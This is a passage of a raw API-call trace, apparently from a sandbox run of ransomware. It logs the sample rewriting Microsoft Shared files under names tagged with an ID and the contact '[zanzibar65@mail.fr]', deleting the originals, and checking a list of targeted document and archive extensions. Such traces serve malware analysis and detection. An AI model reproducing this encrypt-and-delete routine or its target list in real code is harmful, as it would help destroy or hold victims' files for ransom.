tag\\lists\\1033\\dates.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.795] GetLastError () returned 0x0 [0040.795] ReadFile (in: hFile=0x1ac, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x22d6, lpOverlapped=0x0) returned 1 [0040.797] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0040.798] ReadFile (in: hFile=0x1ac, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.798] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.798] SetEndOfFile (hFile=0x1e8) returned 1 [0040.798] CloseHandle (hObject=0x1e8) returned 1 [0040.799] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.799] SetEndOfFile (hFile=0x1ac) returned 1 [0040.800] CloseHandle (hObject=0x1ac) returned 1 [0040.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.801] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 1 [0040.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0040.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0040.801] lstrlenW (lpString=".doc") returned 4 [0040.801] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.801] lstrlenW (lpString=".docx") returned 5 [0040.801] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0040.801] lstrlenW (lpString=".pdf") returned 4 [0040.801] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.801] lstrlenW (lpString=".xls") returned 4 [0040.801] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.801] lstrlenW (lpString=".xlsx") returned 5 [0040.801] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0040.801] lstrlenW (lpString=".ppt") returned 4 [0040.801] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0040.801] lstrlenW (lpString=".zip") returned 4 [0040.801] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.801] lstrlenW (lpString=".rar") returned 4 [0040.801] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.801] lstrlenW (lpString=".bz2") returned 4 [0040.801] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.802] lstrlenW (lpString=".7z") returned 3 [0040.802] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0040.802] lstrlenW (lpString=".dbf") returned 4 [0040.802] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0040.802] lstrlenW (lpString=".1cd") returned 4 [0040.802] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0040.802] lstrlenW (lpString=".jpg") returned 4 [0040.802] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0040.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0040.802] lstrlenW (lpString=".doc") returned 4 [0040.802] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.802] lstrlenW (lpString=".docx") returned 5 [0040.802] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0040.802] lstrlenW (lpString=".pdf") returned 4 [0040.802] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.802] lstrlenW (lpString=".xls") returned 4 [0040.802] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.802] lstrlenW (lpString=".xlsx") returned 5 [0040.802] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0040.802] lstrlenW (lpString=".ppt") returned 4 [0040.802] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0040.802] lstrlenW (lpString=".zip") returned 4 [0040.802] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.802] lstrlenW (lpString=".rar") returned 4 [0040.802] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.802] lstrlenW (lpString=".bz2") returned 4 [0040.802] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.803] lstrlenW (lpString=".7z") returned 3 [0040.803] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0040.803] lstrlenW (lpString=".dbf") returned 4 [0040.803] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0040.803] lstrlenW (lpString=".1cd") returned 4 [0040.803] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0040.803] lstrlenW (lpString=".jpg") returned 4 [0040.803] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.803] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.803] lstrlenW (lpString="PHONE.XML") returned 9 [0040.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0040.803] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=1844) returned 1 [0040.803] CloseHandle (hObject=0x1ac) returned 1 [0040.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0040.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0040.804] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.804] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.804] GetLastError () returned 0x0 [0040.804] ReadFile (in: hFile=0x1ac, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x734, lpOverlapped=0x0) returned 1 [0040.805] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x740, lpOverlapped=0x0) returned 1 [0040.806] ReadFile (in: hFile=0x1ac, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.806] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.806] SetEndOfFile (hFile=0x1e8) returned 1 [0040.807] CloseHandle (hObject=0x1e8) returned 1 [0040.807] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.807] SetEndOfFile (hFile=0x1ac) returned 1 [0040.808] CloseHandle (hObject=0x1ac) returned 1 [0040.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.808] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 1 [0040.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0040.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0040.809] lstrlenW (lpString=".doc") returned 4 [0040.809] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.809] lstrlenW (lpString=".docx") returned 5 [0040.809] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0040.809] lstrlenW (lpString=".pdf") returned 4 [0040.809] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.809] lstrlenW (lpString=".xls") returned 4 [0040.809] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.809] lstrlenW (lpString=".xlsx") returned 5 [0040.809] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0040.809] lstrlenW (lpString=".ppt") returned 4 [0040.809] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0040.809] lstrlenW (lpString=".zip") returned 4 [0040.809] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.809] lstrlenW (lpString=".rar") returned 4 [0040.809] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.809] lstrlenW (lpString=".bz2") returned 4 [0040.809] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.809] lstrlenW (lpString=".7z") returned 3 [0040.809] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0040.809] lstrlenW (lpString=".dbf") returned 4 [0040.809] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0040.809] lstrlenW (lpString=".1cd") returned 4 [0040.809] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0040.809] lstrlenW (lpString=".jpg") returned 4 [0040.809] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0040.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0040.809] lstrlenW (lpString=".doc") returned 4 [0040.809] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.810] lstrlenW (lpString=".docx") returned 5 [0040.810] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0040.810] lstrlenW (lpString=".pdf") returned 4 [0040.810] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.810] lstrlenW (lpString=".xls") returned 4 [0040.810] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.810] lstrlenW (lpString=".xlsx") returned 5 [0040.810] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0040.810] lstrlenW (lpString=".ppt") returned 4 [0040.810] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0040.810] lstrlenW (lpString=".zip") returned 4 [0040.810] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.810] lstrlenW (lpString=".rar") returned 4 [0040.810] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.810] lstrlenW (lpString=".bz2") returned 4 [0040.810] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.810] lstrlenW (lpString=".7z") returned 3 [0040.810] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0040.810] lstrlenW (lpString=".dbf") returned 4 [0040.810] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0040.810] lstrlenW (lpString=".1cd") returned 4 [0040.810] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0040.810] lstrlenW (lpString=".jpg") returned 4 [0040.810] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.810] lstrcmpiW (lpString1=".DAT", lpString2=".html") returned -1 [0040.810] lstrlenW (lpString="STOCKS.DAT") returned 10 [0040.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0041.029] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=39017) returned 1 [0041.029] CloseHandle (hObject=0x200) returned 1 [0041.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0041.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0041.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0041.054] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.054] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.054] GetLastError () returned 0x0 [0041.054] ReadFile (in: hFile=0x1c4, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x9869, lpOverlapped=0x0) returned 1 [0041.288] WriteFile (in: hFile=0x204, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x9870, lpOverlapped=0x0) returned 1 [0041.290] ReadFile (in: hFile=0x1c4, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.290] WriteFile (in: hFile=0x204, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0041.290] SetEndOfFile (hFile=0x204) returned 1 [0041.290] CloseHandle (hObject=0x204) returned 1 [0041.291] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.291] SetEndOfFile (hFile=0x1c4) returned 1 [0041.292] CloseHandle (hObject=0x1c4) returned 1 [0041.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0041.292] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 1 [0041.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0041.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0041.293] lstrlenW (lpString=".doc") returned 4 [0041.293] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0041.293] lstrlenW (lpString=".docx") returned 5 [0041.293] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0041.293] lstrlenW (lpString=".pdf") returned 4 [0041.293] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0041.293] lstrlenW (lpString=".xls") returned 4 [0041.293] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0041.293] lstrlenW (lpString=".xlsx") returned 5 [0041.293] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0041.293] lstrlenW (lpString=".ppt") returned 4 [0041.293] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0041.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0041.293] lstrlenW (lpString=".zip") returned 4 [0041.293] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0041.293] lstrlenW (lpString=".rar") returned 4 [0041.293] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0041.293] lstrlenW (lpString=".bz2") returned 4 [0041.293] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0041.293] lstrlenW (lpString=".7z") returned 3 [0041.293] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0041.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0041.293] lstrlenW (lpString=".dbf") returned 4 [0041.293] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0041.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0041.293] lstrlenW (lpString=".1cd") returned 4 [0041.293] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0041.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0041.293] lstrlenW (lpString=".jpg") returned 4 [0041.293] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0041.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0041.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0041.294] lstrlenW (lpString=".doc") returned 4 [0041.294] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0041.294] lstrlenW (lpString=".docx") returned 5 [0041.294] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0041.294] lstrlenW (lpString=".pdf") returned 4 [0041.294] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0041.294] lstrlenW (lpString=".xls") returned 4 [0041.294] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0041.294] lstrlenW (lpString=".xlsx") returned 5 [0041.294] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0041.294] lstrlenW (lpString=".ppt") returned 4 [0041.294] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0041.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0041.294] lstrlenW (lpString=".zip") returned 4 [0041.294] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0041.294] lstrlenW (lpString=".rar") returned 4 [0041.294] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0041.294] lstrlenW (lpString=".bz2") returned 4 [0041.294] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0041.294] lstrlenW (lpString=".7z") returned 3 [0041.294] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0041.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0041.294] lstrlenW (lpString=".dbf") returned 4 [0041.294] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0041.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0041.294] lstrlenW (lpString=".1cd") returned 4 [0041.294] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0041.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0041.294] lstrlenW (lpString=".jpg") returned 4 [0041.294] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0041.295] lstrcmpiW (lpString1=".jpg", lpString2=".html") returned 1 [0041.295] lstrlenW (lpString="Bears.jpg") returned 9 [0041.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0041.350] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=1074) returned 1 [0041.350] CloseHandle (hObject=0x1c4) returned 1 [0041.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0041.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0041.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0041.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0041.351] lstrlenW (lpString=".doc") returned 4 [0041.351] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0041.351] lstrlenW (lpString=".docx") returned 5 [0041.351] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0041.351] lstrlenW (lpString=".pdf") returned 4 [0041.351] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0041.351] lstrlenW 